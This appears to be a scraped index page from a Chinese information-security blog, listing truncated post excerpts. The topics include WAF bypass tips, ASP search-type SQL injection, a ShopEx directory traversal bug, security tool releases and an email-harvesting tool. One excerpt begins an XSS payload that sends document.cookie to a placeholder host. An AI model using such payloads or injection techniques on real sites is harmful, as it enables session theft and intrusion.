显示不全请点击全屏阅读 前两天需要采集一个网站的邮箱，比较急又没时间临时写一个爬虫采集，网上找了一堆要么不可用，要么要注册， 找到一个叫“经典定向邮件地址采集助手”的软件还不错，很稳定，速度也比较快，...
Seay信息安全博客
Seay信息安全博客
SQL Server 数据库实用SQL语句_MsSql
--查看指定表的外键约束 select * from sysobjects where parent_obj in( select id from sysobjects where name='表名'...
神兵利刃
Web安全扫描器Netsparker v3.5发布
Netsparker是一款综合型的web应用安全漏洞扫描工具，它分为专业版和免费版，免费版的功能也比较强大。Netsparker与其他综合 性的web应用安全扫描工具相比的一个特点是它能够更好的检...
搜狗腾讯融合新进展：共享用户数据
在搜狗微信搜索之后，搜狗与腾讯融合又有新进展：使用QQ账号登录搜狗输入法后，在QQ聊天时便可直接在输入法中使用QQ表情，包括QQ默认表情和自定义表情，此前搜狗输入法Android V6.0版本已具有类...
asp php XSS获取cookie的代码
<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" wi...
ASP搜索型注入
简单的判断搜索型注入漏洞存在不存在的办法是先搜索'，如果出错，说明90%存在这个漏洞。然后搜索%，如果正常返回，说明95%有洞了。 然后再搜索一个关键字，比如2006吧，正常返回所有2006相关的信息...
系统文档
win数字激活，凉凉咯！
有一个坏消息，也有一个好消息。 Windows10/11数字权利激活(或数字许可证激活，下文简称数字激活)，前一段时间时不时遇到失败，原因是微软服务器抽风，需要修改DNS或者其他手段，总是可以访问的，...
神兵利刃
开源Web应用防火墙-ModSecurity v2.8发布
ModSecurity是知名的开源web应用防火墙，它可以作为你的服务器基础安全设施，是广大站长的福音。目前支持Apache，IIS7和Nginx。 新特性： 1,增加状态报告(Status ...
Seay信息安全博客
ShopEx后台历遍目录漏洞 |
显示不全请点击全屏阅读 ShopEx后台历遍目录 很蛋疼的 记得10年的是也有过的差不多的漏洞 主要是出在模板上 我们编辑目录之后得到URL http://www.xxoo.com/shopadmin...
Seay信息安全博客
waf绕过：WAF绕过tips—-mysql |
显示不全请点击全屏阅读 1、转换大小写 1 2 3 4 5 6 7 mysql> SeLECt 1,2; +---+---+ | 1 | 2 | +---+---+ | 1 | 2 | +---...
